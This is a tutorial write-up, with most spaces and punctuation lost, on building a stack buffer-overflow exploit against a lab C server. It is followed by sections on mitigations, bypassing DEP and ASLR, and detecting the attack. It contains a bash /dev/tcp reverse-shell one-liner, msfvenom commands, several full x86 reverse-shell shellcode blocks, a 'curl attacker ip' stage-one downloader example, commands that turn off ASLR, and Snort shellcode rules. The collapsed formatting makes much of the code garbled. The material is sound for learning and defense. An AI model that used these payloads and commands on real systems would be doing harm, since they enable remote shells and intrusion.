helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos
So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters
commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it
any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the
registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip
PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip
binsh-igtampdevtcp12700144440gtamp1
encodesto
x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x
2fx34x34x34x34x20x30x3ex26x31
Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly
from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a
simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX
To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86
encodedcommandthatthekernelcaninterpret
binsh-igtampdevtcp12700144440gtamp1
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
x86encodedShellCode
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01
xd8x7dxf3xdcx9b
TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully
understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally
worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders
- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform
- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina
singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos
ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is
malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced
- f=formathellipThatcanberawCJSPshelletcetc
- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore
- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere
Wheredoweputourmalware
While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the
clientpyscriptputtingthemalwarebeforeEIPlookslikethis
NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS
Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is
important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left
manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior
because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory
address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and
unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto
HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow
malware=x41x30
eip=x97xcfxfaxb7
eip=x41x41x41x41
ending=x90200
nopsled=(x41(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then
look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote
with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register
pointertojumpintothenopsled
One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that
specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that
can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out
bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo
for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell
codeaftertheEIPsowecanjumpintoESP
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
